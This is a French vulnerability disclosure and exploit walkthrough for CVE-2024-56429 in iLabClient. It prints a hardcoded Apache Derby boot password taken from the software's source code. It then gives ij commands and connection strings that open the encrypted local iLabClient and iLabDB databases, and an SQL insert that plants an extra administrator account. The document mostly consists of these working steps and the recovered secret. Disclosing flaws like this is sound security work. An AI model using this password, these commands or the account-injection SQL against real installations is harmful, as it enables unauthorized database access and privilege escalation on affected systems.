
Exploit pour CVE-2024-56429 démontrant l'extraction du mot de passe de démarrage de la base de données Apache Derby à partir du code source d'iLabClient, permettant la connexion locale à la base de données et l'escalade de privilèges via la manipulation d'utilisateurs.
Accès à la base de données locale de iLabClient
iLabClient utilise une base de données Apache Derby pour stocker les données locales nécessaires. Pour garantir le chiffrement, un
bootPassword est utilisé lors de la création, qui peut être extrait du code source
(le code extrait se trouve dans DecyptedBootPassword.java). Après exécution du code source extrait,
l'utilisateur reçoit le bootPassword.
jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==
Lors du premier démarrage de iLabClient, les deux bases de données locales iLabCLient et iLabDB sont créées.
Pour se connecter à ces bases de données, l'outil ij d'Apache Derby peut être utilisé, Téléchargement.
Démarrage de ij :
"C:\ilabClient\java8u422\bin\java.exe" -jar "...\db-derby-10.14.2.0-lib\lib\derbyrun.jar" ij
"C:\ilabClient\java8u422\bin\java.exe" : Version Java installée et utilisée par iLabClient
"...\db-derby-10.14.2.0-lib\lib\derbyrun.jar" : Bibliothèque Apache Derby
Connexion à la base de données :
cd "C:\ilabClient\db
connect 'jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
connect 'jdbc:derby:iLabDB;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
Une fois la connexion établie, les données peuvent être lues et manipulées. Par exemple, en ajoutant un autre utilisateur avec plus de droits.
insert into users (USERID, BENUTZER, NAME, PARAMS, HASH) values (4, 'admin2', 'Administrator', '111111111111111111', 'SHA-256:B6382EC801B1BBD5C464C6A5F9C8CFFDC603A7D3A4916B1F50BD592678E8380B');
Le hachage requis peut être créé avec la classe GenerateUserData.java.
Découvreur : Lisa Ulbrich (Lufthansa Industry Solutions AS GmbH)